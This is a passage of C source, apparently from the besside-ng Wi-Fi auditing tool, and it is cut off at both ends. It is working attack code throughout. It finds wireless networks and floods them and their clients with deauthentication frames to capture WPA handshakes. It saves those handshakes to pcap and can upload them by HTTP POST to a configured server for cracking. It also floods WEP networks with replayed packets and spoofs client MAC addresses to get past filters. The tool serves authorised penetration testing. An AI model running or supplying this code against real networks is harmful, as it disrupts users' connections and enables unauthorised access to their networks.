case IEEE80211_FC0_SUBTYPE_BEACON:
case IEEE80211_FC0_SUBTYPE_DEAUTH:
return (wh->i_addr2);
case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
default:
return (NULL);
}
}
static struct network * network_get(struct ieee80211_frame * wh)
{
struct network * n = _state.s_networks.n_next;
unsigned char * bssid = get_bssid(wh);
if (!bssid) return (NULL);
while (n)
{
if (memcmp(n->n_bssid, bssid, sizeof(n->n_bssid)) == 0) return (n);
n = n->n_next;
}
return (NULL);
}
static struct network * network_new(void)
{
struct network * n = xmalloc(sizeof(*n));
memset(n, 0, sizeof(*n));
n->n_crack_next = _conf.cf_crack_int;
return (n);
}
static void do_network_add(struct network * n)
{
struct network * p = &_state.s_networks;
while (p->n_next) p = p->n_next;
p->n_next = n;
}
static struct network * network_add(struct ieee80211_frame * wh)
{
struct network * n;
unsigned char * bssid = get_bssid(wh);
if (!bssid) return (NULL);
n = network_new();
memcpy(n->n_bssid, bssid, sizeof(n->n_bssid));
do_network_add(n);
return (n);
}
static inline void print_hex(void * p, int len)
{
REQUIRE(p != NULL);
unsigned char * x = p;
while (len--)
{
printf("%.2x", *x++);
if (len) printf(":");
}
}
static void network_print(struct network * n)
{
REQUIRE(n != NULL);
const char * crypto = "dunno";
switch (n->n_crypto)
{
case CRYPTO_NONE:
crypto = "none";
break;
case CRYPTO_WEP:
crypto = "WEP";
break;
case CRYPTO_WPA:
crypto = "WPA";
break;
case CRYPTO_WPA_MGT:
crypto = "WPA-SECURE";
break;
}
char * mac = mac2string(n->n_bssid);
ALLEGE(mac != NULL);
time_printf(V_VERBOSE,
"Found AP %s [%s] chan %d crypto %s dbm %d\n",
mac,
n->n_ssid,
n->n_chan,
crypto,
n->n_dbm);
free(mac);
}
static void channel_set(int num)
{
if (wi_set_channel(_state.s_wi, num) == -1) err(1, "wi_set_channel()");
_state.s_chan = num;
}
static void fill_basic(struct network * n, struct ieee80211_frame * wh)
{
REQUIRE(n != NULL);
REQUIRE(wh != NULL);
uint16_t * p;
memset(wh, 0, sizeof(*wh));
p = (uint16_t *) wh->i_dur;
*p = htole16(32767);
p = (uint16_t *) wh->i_seq;
*p = fnseq(0, n->n_seq++);
}
static void wifi_send(void * p, int len)
{
int rc;
struct tx_info tx;
memset(&tx, 0, sizeof(tx));
rc = wi_write(_state.s_wi, NULL, LINKTYPE_IEEE802_11, p, len, &tx);
if (rc == -1) err(1, "wi_write()");
}
static void deauth_send(struct network * n, unsigned char * mac)
{
REQUIRE(n != NULL);
REQUIRE(mac != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 16];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
uint16_t * rc = (uint16_t *) (wh + 1);
fill_basic(n, wh);
memcpy(wh->i_addr1, mac, sizeof(wh->i_addr1));
memcpy(wh->i_addr2, n->n_bssid, sizeof(wh->i_addr2));
memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_DEAUTH;
*rc++ = htole16(7);
char * mac_p = mac2string(mac);
ALLEGE(mac_p != NULL);
time_printf(V_VERBOSE, "Sending deauth to %s\n", mac_p);
free(mac_p);
wifi_send(wh, (unsigned long) rc - (unsigned long) wh);
}
static void deauth(void * arg)
{
REQUIRE(arg != NULL);
struct network * n = arg;
struct client * c = n->n_clients.c_next;
if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
|| n->n_astate != ASTATE_DEAUTH)
return;
deauth_send(n, BROADCAST);
while (c)
{
deauth_send(n, c->c_mac);
c = c->c_next;
}
timer_in(_conf.cf_deauthfreq * 1000, deauth, n);
}
static int open_pcap(char * fname)
{
REQUIRE(fname != NULL);
int fd;
struct pcap_file_header pfh;
fd = open(fname, O_RDWR | O_APPEND);
if (fd != -1)
{
time_printf(V_NORMAL, "Appending to %s\n", fname);
return (fd);
}
memset(&pfh, 0, sizeof(pfh));
pfh.magic = TCPDUMP_MAGIC;
pfh.version_major = PCAP_VERSION_MAJOR;
pfh.version_minor = PCAP_VERSION_MINOR;
pfh.thiszone = 0;
pfh.sigfigs = 0;
pfh.snaplen = 65535;
pfh.linktype = LINKTYPE_IEEE802_11;
fd = open(fname, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
if (fd == -1) err(1, "open(%s)", fname);
if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()");
return (fd);
}
static void write_pcap(int fd, void * p, int len)
{
REQUIRE(fd != -1);
REQUIRE(p != NULL);
struct pcap_pkthdr pkh;
memset(&pkh, 0, sizeof(pkh));
pkh.caplen = pkh.len = len;
pkh.tv_sec = _state.s_now.tv_sec;
pkh.tv_usec = _state.s_now.tv_usec;
if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");
if (write(fd, p, len) != len) err(1, "write()");
}
static inline void packet_write_pcap(int fd, struct packet * p)
{
REQUIRE(fd != -1);
REQUIRE(p != NULL);
write_pcap(fd, p->p_data, p->p_len);
}
static void wpa_upload(void)
{
struct sockaddr_in s_in;
int s;
char buf[4096];
char boundary[128];
char h1[1024];
char form[1024];
struct stat stat;
off_t off;
int tot;
int ok = 0;
memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = PF_INET;
s_in.sin_port = htons(80);
if (inet_aton(_conf.cf_wpa_server, &s_in.sin_addr) == 0)
{
struct hostent * he;
he = gethostbyname(_conf.cf_wpa_server);
if (!he) goto __no_resolve;
if (!he->h_addr_list[0])
{
__no_resolve:
time_printf(V_NORMAL, "Can't resolve %s\n", _conf.cf_wpa_server);
return;
}
memcpy(&s_in.sin_addr, he->h_addr_list[0], 4);
}
if ((s = socket(s_in.sin_family, SOCK_STREAM, 0)) == -1) err(1, "socket()");
if (connect(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
{
time_printf(V_NORMAL, "Can't connect to %s\n", _conf.cf_wpa_server);
close(s);
return;
}
if (fstat(_state.s_wpafd, &stat) == -1) err(1, "fstat()");
snprintf(boundary, sizeof(boundary), "37872861916401860062104501923");
snprintf(h1,
sizeof(h1),
"--%s\r\n"
"Content-Disposition: form-data;"
" name=\"file\";"
" filename=\"wpa.cap\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n",
boundary);
snprintf(form,
sizeof(form),
"\r\n"
"--%s\r\n"
"Content-Disposition: form-data;"
" name=\"fs\"\r\n\r\n"
"Upload"
"\r\n"
"%s--\r\n",
boundary,
boundary);
tot = stat.st_size;
snprintf(buf,
sizeof(buf),
"POST /index.php HTTP/1.0\r\n"
"Host: %s\r\n"
"User-Agent: besside-ng\r\n"
"Content-Type: multipart/form-data; boundary=%s\r\n"
"Content-Length: %d\r\n\r\n",
_conf.cf_wpa_server,
boundary,
(int) (strlen(h1) + strlen(form) + tot));
const size_t buf_sz = strlen(buf);
if (write(s, buf, buf_sz) != (int) buf_sz) goto __fail;
const size_t h1_sz = strlen(h1);
if (write(s, h1, h1_sz) != (int) h1_sz) goto __fail;
if ((off = lseek(_state.s_wpafd, 0, SEEK_CUR)) == (off_t) -1)
err(1, "lseek()");
if (lseek(_state.s_wpafd, 0, SEEK_SET) == (off_t) -1) err(1, "lseek()");
while (tot)
{
int l = tot;
if (l > (int) sizeof(buf)) l = sizeof(buf);
if (read(_state.s_wpafd, buf, l) != l) err(1, "read()");
if (write(s, buf, l) != l) goto __fail;
tot -= l;
}
const size_t form_sz = strlen(form);
if (write(s, form, form_sz) != (int) form_sz) goto __fail;
if (lseek(_state.s_wpafd, off, SEEK_SET) == (off_t) -1) err(1, "lseek()");
while ((tot = read(s, buf, sizeof(buf) - 1)) > 0)
{
char * p;
buf[tot] = 0;
p = strstr(buf, "\r\n\r\n");
if (!p) goto __fail;
p += 4;
if (atoi(p) == 2)
ok = 1;
else
goto __fail;
}
if (!ok) goto __fail;
close(s);
time_printf(
V_NORMAL, "Uploaded WPA handshake to %s\n", _conf.cf_wpa_server);
return;
__fail:
close(s);
time_printf(V_NORMAL, "WPA handshake upload failed\n");
}
static void wpa_crack(struct network * n)
{
REQUIRE(n != NULL);
int i;
packet_write_pcap(_state.s_wpafd, &n->n_beacon);
for (i = 0; i < 4; i++)
{
struct packet * p = &n->n_client_handshake->c_handshake[i];
if (p->p_len) packet_write_pcap(_state.s_wpafd, p);
}
fsync(_state.s_wpafd);
if (_conf.cf_wpa_server)
wpa_upload();
else
{
time_printf(V_NORMAL, "Run aircrack on %s for WPA key\n", _conf.cf_wpa);
}
/* that was fast cracking! */
n->n_astate = ASTATE_DONE;
attack_continue(n);
}
static void attack_wpa(struct network * n)
{
REQUIRE(n != NULL);
switch (n->n_astate)
{
case ASTATE_READY:
n->n_astate = ASTATE_DEAUTH;
fallthrough;
case ASTATE_DEAUTH:
deauth(n);
break;
case ASTATE_WPA_CRACK:
wpa_crack(n);
break;
}
}
static void hop(void * arg)
{
int old = _state.s_chan;
if (_state.s_state != STATE_SCAN) return;
while (1)
{
struct channel * c = _state.s_hopchan->c_next;
if (c->c_num == old) break;
// skip unsupported chan. XXX check if we run out.
if (wi_set_channel(_state.s_wi, c->c_num) == -1)
{
_state.s_hopchan->c_next = c->c_next;
free(c);
}
else
break;
}
_state.s_hopchan = _state.s_hopchan->c_next;
_state.s_chan = _state.s_hopchan->c_num;
// XXX assume we don't lose head
if (_state.s_hopchan == _conf.cf_channels.c_next) _state.s_hopcycles++;
timer_in(_conf.cf_hopfreq * 1000, hop, arg);
}
static void scan_start(void)
{
_state.s_state = STATE_SCAN;
_state.s_hopcycles = 0;
hop(NULL); /* XXX check other hopper */
}
static void send_auth(struct network * n)
{
REQUIRE(n != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 16];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
uint16_t * rc = (uint16_t *) (wh + 1);
fill_basic(n, wh);
memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
*rc++ = htole16(0);
*rc++ = htole16(1);
*rc++ = htole16(0);
wifi_send(wh, (int) ((intptr_t) rc - (intptr_t) wh));
}
static void ping_send(struct network * n)
{
REQUIRE(n != NULL);
send_auth(n);
time_printf(V_VERBOSE, "Sending ping to %s\n", n->n_ssid);
n->n_ping_sent++;
}
static void ping_reply(struct network * n, struct ieee80211_frame * wh)
{
REQUIRE(wh != NULL);
uint16_t * p = (uint16_t *) (wh + 1);
if (le16toh(p[1]) == 2)
{
REQUIRE(n != NULL);
time_printf(V_VERBOSE, "Ping reply %s\n", n->n_ssid);
n->n_ping_got++;
}
}
static void set_mac(void * mac)
{
REQUIRE(mac != NULL);
if (memcmp(mac, _state.s_mac, 6) == 0) return;
#if 0
if (wi_set_mac(_state.s_wi, mac) == -1)
err(1, "wi_set_mac()");
#endif
char * mac_p = mac2string(mac);
ALLEGE(mac_p != NULL);
time_printf(V_VERBOSE,
"Can't set MAC - this'll suck."
" Set it manually to %s for best performance.\n",
mac_p);
free(mac_p);
memcpy(_state.s_mac, mac, 6);
}
static int have_mac(struct network * n)
{
REQUIRE(n != NULL);
if (!n->n_mac_filter) return (1);
/* XXX try different clients based on feedback */
if (!n->n_client_mac) n->n_client_mac = n->n_clients.c_next;
if (!n->n_client_mac) return (0);
set_mac(n->n_client_mac->c_mac);
return (1);
}
static void attack_ping(void * a)
{
REQUIRE(a != NULL);
struct network * n = a;
if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
if (n->n_ping_sent == 10)
{
int got = n->n_ping_got;
int sent = n->n_ping_sent;
int loss = 100 - ((double) got / (double) sent * 100.0);
if (loss < 0) loss = 0;
time_printf(V_VERBOSE,
"Ping results for %s %d/%d (%d%% loss)\n",
n->n_ssid,
got,
sent,
loss);
if (loss >= 80)
{
time_printf(V_NORMAL,
"Crappy connection - %s unreachable"
" got %d/%d (%d%% loss) [%d dbm]\n",
n->n_ssid,
got,
sent,
loss,
n->n_dbm);
n->n_astate = ASTATE_UNREACH;
}
else
n->n_astate = ASTATE_READY;
attack_continue(n);
return;
}
ping_send(n);
timer_in(100 * 1000, attack_ping, n);
}
#if defined HAVE_PCRE2 || defined HAVE_PCRE
static int is_filtered_essid(char * essid)
{
REQUIRE(essid != NULL);
int ret = 0;
if (_conf.cf_essid_regex)
{
#ifdef HAVE_PCRE2
_conf.cf_essid_match_data
= pcre2_match_data_create_from_pattern(_conf.cf_essid_regex, NULL);
return COMPAT_PCRE_MATCH(_conf.cf_essid_regex,
essid,
MAX_IE_ELEMENT_SIZE,
_conf.cf_essid_match_data)
< 0;
#elif defined HAVE_PCRE
return COMPAT_PCRE_MATCH(
_conf.cf_essid_regex, essid, MAX_IE_ELEMENT_SIZE, NULL)
< 0;
#endif
}
return (ret);
}
#endif
// this should always return true -sorbo
static int should_attack(struct network * n)
{
REQUIRE(n != NULL);
if (_conf.cf_bssid && memcmp(_conf.cf_bssid, n->n_bssid, 6) != 0)
return (0);
#if defined HAVE_PCRE2 || defined HAVE_PCRE
if (is_filtered_essid(n->n_ssid))
{
return (0);
}
#endif
if (!n->n_have_beacon) return (0);
switch (n->n_astate)
{
case ASTATE_DONE:
case ASTATE_UNREACH:
if (_conf.cf_bssid) _state.s_state = STATE_DONE;
return (0);
}
if (n->n_crypto != CRYPTO_WEP && n->n_crypto != CRYPTO_WPA) return (0);
if (!_conf.cf_do_wep && n->n_crypto == CRYPTO_WEP) return (0);
return (1);
}
static inline int check_ownable(struct network * n)
{
REQUIRE(n != NULL);
return (should_attack(n));
}
static inline int check_owned(struct network * n)
{
REQUIRE(n != NULL);
/* resumed network */
if (n->n_beacon.p_len == 0) return (0);
return (n->n_astate == ASTATE_DONE);
}
static inline int check_unreach(struct network * n)
{
REQUIRE(n != NULL);
return (n->n_astate == ASTATE_UNREACH);
}
static void print_list(char * label, check_cb cb)
{
REQUIRE(label != NULL);
struct network * n = _state.s_networks.n_next;
int first = 1;
printf("%s [", label);
while (n)
{
if (cb(n))
{
if (first)
first = 0;
else
printf(", ");
printf("%s", n->n_ssid);
if (n->n_crypto == CRYPTO_WPA) printf("*");
}
n = n->n_next;
}
printf("]");
}
static void print_work(void)
{
time_printf(V_NORMAL, "");
print_list("TO-OWN", check_ownable);
print_list(" OWNED", check_owned);
if (_conf.cf_verb > V_NORMAL) print_list(" UNREACH", check_unreach);
printf("\n");
save_log();
}
static void pwned(struct network * n)
{
REQUIRE(n != NULL);
int s = (_state.s_now.tv_sec - n->n_start.tv_sec);
int m = s / 60;
s -= m * 60;
time_printf(
V_NORMAL, "Pwned network %s in %d:%.2d mins:sec\n", n->n_ssid, m, s);
n->n_astate = ASTATE_DONE;
print_work();
}
static struct network * attack_get(void)
{
struct network *n = _state.s_networks.n_next, *start;
if (_state.s_curnet && _state.s_curnet->n_next) n = _state.s_curnet->n_next;
start = n;
while (n)
{
if (should_attack(n)) return (n);
n = n->n_next;
if (n == NULL)
{
/* reached head, lets scan for a bit */
if (_state.s_state == STATE_ATTACK) return (NULL);
n = _state.s_networks.n_next;
}
if (n == start) break;
}
return (NULL);
}
static void attack_next(void)
{
struct network * n;
if ((n = attack_get()))
{
attack(n);
return;
}
if (_state.s_state == STATE_DONE) return;
/* we aint got people to pwn */
if (_state.s_state == STATE_ATTACK) scan_start();
}
static int watchdog_next(struct network * n)
{
if (n->n_crypto == CRYPTO_WEP && n->n_astate == ASTATE_WEP_FLOOD
&& n->n_replay_got)
{
int diff;
int to = _conf.cf_floodwait * 1000 * 1000;
diff = time_diff(&n->n_replay_last, &_state.s_now);
if (diff < to) return (to - diff);
}
return (0);
}
static void attack_watchdog(void * arg)
{
REQUIRE(arg != NULL);
struct network * n = arg;
int next;
if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
next = watchdog_next(n);
if (next <= 0 || next >= INT_MAX)
{
time_printf(V_VERBOSE, "Giving up on %s for now\n", n->n_ssid);
attack_next();
}
else
timer_in(next, attack_watchdog, n);
}
static void network_auth(void * a)
{
REQUIRE(a != NULL);
struct network * n = a;
if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
|| n->n_wstate != WSTATE_NONE)
return;
if (!have_mac(n)) return;
time_printf(V_VERBOSE, "Authenticating...\n");
send_auth(n);
timer_in(_conf.cf_to * 1000, network_auth, n);
}
static void do_assoc(struct network * n, int stype)
{
REQUIRE(n != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 16];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
uint16_t * rc = (uint16_t *) (wh + 1);
unsigned char * p;
fill_basic(n, wh);
memcpy(wh->i_addr1, n->n_bssid, sizeof(wh->i_addr1));
memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
memcpy(wh->i_addr3, n->n_bssid, sizeof(wh->i_addr3));
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | stype;
*rc++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY
| IEEE80211_CAPINFO_SHORT_PREAMBLE);
*rc++ = htole16(0);
p = (unsigned char *) rc;
if (stype == IEEE80211_FC0_SUBTYPE_REASSOC_REQ)
{
memcpy(p, n->n_bssid, sizeof(n->n_bssid));
p += sizeof(n->n_bssid);
}
*p++ = IEEE80211_ELEMID_SSID;
*p++ = strlen(n->n_ssid);
memcpy(p, n->n_ssid, strlen(n->n_ssid));
p += strlen(n->n_ssid);
// rates
*p++ = IEEE80211_ELEMID_RATES;
*p++ = 8;
*p++ = 2 | 0x80;
*p++ = 4 | 0x80;
*p++ = 11 | 0x80;
*p++ = 22 | 0x80;
*p++ = 12 | 0x80;
*p++ = 24 | 0x80;
*p++ = 48 | 0x80;
*p++ = 72;
/* x-rates */
*p++ = IEEE80211_ELEMID_XRATES;
*p++ = 4;
*p++ = 48;
*p++ = 72;
*p++ = 96;
*p++ = 108;
wifi_send(wh, (unsigned long) p - (unsigned long) wh);
}
static void network_assoc(void * a)
{
REQUIRE(a != NULL);
struct network * n = a;
if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
|| n->n_wstate != WSTATE_AUTH)
return;
do_assoc(n, IEEE80211_FC0_SUBTYPE_ASSOC_REQ);
time_printf(V_VERBOSE, "Associating...\n");
timer_in(_conf.cf_to * 1000, network_assoc, n);
}
static int need_connect(struct network * n)
{
REQUIRE(n != NULL);
if (n->n_crypto == CRYPTO_WPA) return (0);
switch (n->n_astate)
{
case ASTATE_READY:
case ASTATE_WEP_PRGA_GET:
case ASTATE_WEP_FLOOD:
return (1);
default:
return (0);
}
}
static int network_connect(struct network * n)
{
REQUIRE(n != NULL);
switch (n->n_wstate)
{
case WSTATE_NONE:
network_auth(n);
break;
case WSTATE_AUTH:
network_assoc(n);
break;
case WSTATE_ASSOC:
return (1);
}
return (0);
}
static void prga_get(struct network * n)
{
REQUIRE(n != NULL);
if (n->n_replay_len)
{
n->n_astate = ASTATE_WEP_FLOOD;
attack_continue(n);
}
}
static void speed_add(struct speed * s)
{
REQUIRE(s != NULL);
if (s->s_start.tv_sec == 0)
memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start));
s->s_num++;
}
static void speed_calculate(struct speed * s)
{
REQUIRE(s != NULL);
int diff = time_diff(&s->s_start, &_state.s_now);
if (diff < (1000 * 1000)) return;
s->s_speed = (int) ((double) s->s_num / ((double) diff / 1000.0 / 1000.0));
memcpy(&s->s_start, &_state.s_now, sizeof(s->s_start));
s->s_num = 0;
}
static void do_flood(struct network * n)
{
REQUIRE(n != NULL);
struct ieee80211_frame * wh = (struct ieee80211_frame *) n->n_replay;
if (!network_connect(n)) return;
memcpy(wh->i_addr2, _state.s_mac, sizeof(wh->i_addr2));
wifi_send(n->n_replay, n->n_replay_len);
speed_add(&n->n_flood_out);
}
static void wep_flood(void * a)
{
REQUIRE(a != NULL);
struct network * n = a;
if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
|| n->n_astate != ASTATE_WEP_FLOOD)
return;
do_flood(n);
timer_in(_conf.cf_floodfreq, wep_flood, n);
}
static void replay_check(void * a)
{
REQUIRE(a != NULL);
struct network * n = a;
if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
|| n->n_astate != ASTATE_WEP_FLOOD)
return;
if (n->n_replay_got > 3) return;
n->n_replay_len = 0;
n->n_astate = ASTATE_WEP_PRGA_GET;
}
static void start_flood(struct network * n)
{
REQUIRE(n != NULL);
n->n_replay_got = 0; /* refresh replay packet if it sucks */
timer_in(5 * 1000 * 1000, replay_check, n);
wep_flood(n);
}
static void attack_wep(struct network * n)
{
REQUIRE(n != NULL);
if (!n->n_ssid[0])
{
n->n_astate = ASTATE_DEAUTH;
deauth(n);
return;
}
if (!network_connect(n)) return;
switch (n->n_astate)
{
case ASTATE_READY:
n->n_astate = ASTATE_WEP_PRGA_GET;
fallthrough;
case ASTATE_WEP_PRGA_GET:
prga_get(n);
break;
case ASTATE_WEP_FLOOD:
start_flood(n);
break;
}
}
static void attack_continue(struct network * n)
{
if (_state.s_state != STATE_ATTACK || _state.s_curnet != n) return;
REQUIRE(n != NULL);
switch (n->n_astate)
{
case ASTATE_NONE:
n->n_astate = ASTATE_PING;
fallthrough;
case ASTATE_PING:
n->n_ping_got = n->n_ping_sent = 0;
attack_ping(n);
return;
case ASTATE_DONE:
pwned(n);
fallthrough;
case ASTATE_UNREACH:
if (_conf.cf_bssid)
_state.s_state = STATE_DONE;
else
attack_next();
return;
}
switch (n->n_crypto)
{
case CRYPTO_WPA:
attack_wpa(n);
break;
case CRYPTO_WEP:
attack_wep(n);
break;
}
}
static void attack(struct network * n)
{
REQUIRE(n != NULL);
_state.s_curnet = n;
_state.s_state = STATE_ATTACK;
channel_set(n->n_chan);
char * mac = mac2string(n->n_bssid);
ALLEGE(mac != NULL);
time_printf(
V_VERBOSE, "Pwning [%s] %s on chan %d\n", n->n_ssid, mac, n->n_chan);
free(mac);
if (n->n_start.tv_sec == 0)
memcpy(&n->n_start, &_state.s_now, sizeof(n->n_start));
if (!_conf.cf_bssid)
timer_in(_conf.cf_attackwait * 1000 * 1000, attack_watchdog, n);
n->n_attempts++;
attack_continue(n);
}
static void found_new_client(struct network * n, struct client * c)
{
REQUIRE(n != NULL);
REQUIRE(c != NULL);
char * mac = mac2string(c->c_mac);
ALLEGE(mac != NULL);
time_printf(
V_VERBOSE, "Found client for network [%s] %s\n", n->n_ssid, mac);
free(mac);
if (n->n_mac_filter && !n->n_client_mac) attack_continue(n);
}
static void found_new_network(struct network * n)
{
REQUIRE(n != NULL);
struct client * c = n->n_clients.c_next;
network_print(n);
while (c)
{
found_new_client(n, c);
c = c->c_next;
}
if (_conf.cf_bssid
&& memcmp(n->n_bssid, _conf.cf_bssid, sizeof(n->n_bssid)) == 0)
{
if (should_attack(n))
{
attack(n);
}
else
{
time_printf(V_NORMAL, "Can't attack %s\n", n->n_ssid);
_state.s_state = STATE_DONE;
}
}
}
static void packet_copy(struct packet * p, void * d, int len)
{
REQUIRE(p != NULL);
REQUIRE(len <= (int) sizeof(p->p_data));
p->p_len = len;
memcpy(p->p_data, d, len);
}
static void packet_write_pcap(int fd, struct packet * p);
static void found_ssid(struct network * n)
{
REQUIRE(n != NULL);
unsigned char * p;
int ssidlen;
int origlen;
char * mac = mac2string(n->n_bssid);
ALLEGE(mac != NULL);
time_printf(V_NORMAL, "Found SSID [%s] for %s\n", n->n_ssid, mac);
free(mac);
/* beacon surgery */
p = n->n_beacon.p_data + sizeof(struct ieee80211_frame) + 8 + 2 + 2;
ssidlen = strlen(n->n_ssid);
ALLEGE((n->n_beacon.p_len + ssidlen) <= (int) sizeof(n->n_beacon.p_data));
ALLEGE(*p == IEEE80211_ELEMID_SSID);
p++;
origlen = *p;
*p++ = ssidlen;
ALLEGE(origlen == 0 || p[0] == 0);
memmove(p + ssidlen,
p + origlen,
n->n_beacon.p_len - (p + origlen - n->n_beacon.p_data));
memcpy(p, n->n_ssid, ssidlen);
n->n_beacon.p_len += ssidlen - origlen;
if (n->n_client_handshake)
{
n->n_astate = ASTATE_WPA_CRACK;
attack_continue(n);
}
if (n->n_crypto == CRYPTO_WEP)
{
n->n_astate = ASTATE_READY;
attack_continue(n);
}
}
static int parse_rsn(struct network * n, unsigned char * p, int l, int rsn)
{
REQUIRE(n != NULL);
REQUIRE(p != NULL);
int c;
unsigned char * start = p;
int psk = 0;
if (l < 2 || l >= INT_MAX) return (0);
if (memcmp(p, "\x01\x00", 2) != 0) return (0);
n->n_crypto = CRYPTO_WPA;
if (l < 8) return (-1);
p += 2;
p += 4;
/* cipher */
c = le16toh(*((uint16_t *) p));
p += 2 + 4 * c;
if (l < ((p - start) + 2)) return (-1);
/* auth */
c = le16toh(*((uint16_t *) p));
p += 2;
if (l < ((p - start) + c * 4)) return (-1);
while (c--)
{
if (rsn && memcmp(p, "\x00\x0f\xac\x02", 4) == 0) psk = 1;
if (!rsn && memcmp(p, "\x00\x50\xf2\x02", 4) == 0) psk = 1;
p += 4;
}
ALLEGE(l >= (p - start));
if (!psk) n->n_crypto = CRYPTO_WPA_MGT;
return (0);
}
static int parse_elem_vendor(struct network * n, unsigned char * e, int l)
{
REQUIRE(n != NULL);
REQUIRE(e != NULL);
struct ieee80211_ie_wpa * wpa = (struct ieee80211_ie_wpa *) e;
if (l < 5) return (0);
if (memcmp(wpa->wpa_oui, "\x00\x50\xf2", 3) != 0) return (0);
if (l < 8) return (0);
if (wpa->wpa_type != WPA_OUI_TYPE) return (0);
return (parse_rsn(n, (unsigned char *) &wpa->wpa_version, l - 6, 0));
}
static void
wifi_beacon(struct network * n, struct ieee80211_frame * wh, int totlen)
{
REQUIRE(n != NULL);
REQUIRE(wh != NULL);
unsigned char * p = (unsigned char *) (wh + 1);
int bhlen = 8 + 2 + 2;
int new = 0;
int len = totlen;
int hidden = 0;
int ssids = 0;
totlen -= sizeof(*wh);
if (totlen < bhlen) goto __bad;
if (!(IEEE80211_BEACON_CAPABILITY(p) & IEEE80211_CAPINFO_PRIVACY)) return;
if (!n->n_have_beacon) new = 1;
n->n_have_beacon = 1;
n->n_crypto = CRYPTO_WEP;
n->n_dbm = _state.s_ri->ri_power;
p += bhlen;
totlen -= bhlen;
while (totlen > 2)
{
int id = *p++;
int l = *p++;
totlen -= 2;
if (totlen < l) goto __bad;
switch (id)
{
case IEEE80211_ELEMID_SSID:
if (++ssids > 1) break;
if (l == 0 || p[0] == 0)
hidden = 1;
else
{
memcpy(n->n_ssid, p, l);
n->n_ssid[l] = 0;
}
break;
case IEEE80211_ELEMID_DSPARMS:
case IEEE80211_ELEMID_HTINFO:
n->n_chan = *p;
break;
case IEEE80211_ELEMID_VENDOR:
if (parse_elem_vendor(n, &p[-2], l + 2) == -1) goto __bad;
break;
case IEEE80211_ELEMID_RSN:
if (parse_rsn(n, p, l, 1) == -1) goto __bad;
break;
default:
// printf("id %d len %d\n", id, l);
break;
}
p += l;
totlen -= l;
}
if (new)
{
packet_copy(&n->n_beacon, wh, len);
found_new_network(n);
if (hidden && n->n_ssid[0]) found_ssid(n);
if (ssids > 1 && should_attack(n))
{
char * mac = mac2string(n->n_bssid);
ALLEGE(mac != NULL);
time_printf(V_NORMAL,
"WARNING: unsupported multiple SSIDs"
" for network %s [%s]\n",
mac,
n->n_ssid);
free(mac);
}
}
return;
__bad:
printf("\nBad beacon\n");
}
static inline int for_us(struct ieee80211_frame * wh)
{
REQUIRE(wh != NULL);
return memcmp(wh->i_addr1, _state.s_mac, sizeof(wh->i_addr1)) == 0;
}
static inline void has_mac_filter(struct network * n)
{
REQUIRE(n != NULL);
time_printf(V_VERBOSE, "MAC address filter on %s\n", n->n_ssid);
n->n_mac_filter = 1;
}
static void wifi_auth(struct network * n, struct ieee80211_frame * wh, int len)
{
REQUIRE(n != NULL);
REQUIRE(wh != NULL);
uint16_t * p = (uint16_t *) (wh + 1);
int rc;
if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad;
rc = le16toh(p[2]);
if (for_us(wh) && rc != 0)
{
if (!n->n_mac_filter) has_mac_filter(n);
}
if (for_us(wh) && n->n_astate == ASTATE_PING)
{
ping_reply(n, wh);
return;
}
if (for_us(wh) && n->n_wstate == ASTATE_NONE && need_connect(n))
{
if (le16toh(p[0]) != 0 || le16toh(p[1]) != 2) return;
if (le16toh(p[2]) == 0)
{
n->n_wstate = WSTATE_AUTH;
time_printf(V_VERBOSE, "Authenticated\n");
network_connect(n);
}
}
return;
__bad:
printf("Bad auth\n");
}
static void found_mac(struct network * n)
{
REQUIRE(n != NULL);
if (!n->n_mac_filter || n->n_got_mac) return;
ALLEGE(n->n_client_mac != NULL);
char * mac = mac2string(n->n_client_mac->c_mac);
ALLEGE(mac != NULL);
time_printf(V_NORMAL, "Found MAC %s for %s\n", mac, n->n_ssid);
free(mac);
n->n_got_mac = 1;
}
static void
wifi_assoc_resp(struct network * n, struct ieee80211_frame * wh, int len)
{
REQUIRE(n != NULL);
REQUIRE(wh != NULL);
uint16_t * p = (uint16_t *) (wh + 1);
if (len < (int) (sizeof(*wh) + 2 + 2 + 2)) goto __bad;
if (for_us(wh) && n->n_wstate == WSTATE_AUTH)
{
if (le16toh(p[1]) == 0)
{
int aid = le16toh(p[2]) & 0x3FFF;
n->n_wstate = WSTATE_ASSOC;
time_printf(
V_NORMAL, "Associated to %s AID [%d]\n", n->n_ssid, aid);
found_mac(n);
attack_continue(n);
}
else
time_printf(V_NORMAL, "Assoc died %d\n", le16toh(p[1]));
}
return;
__bad:
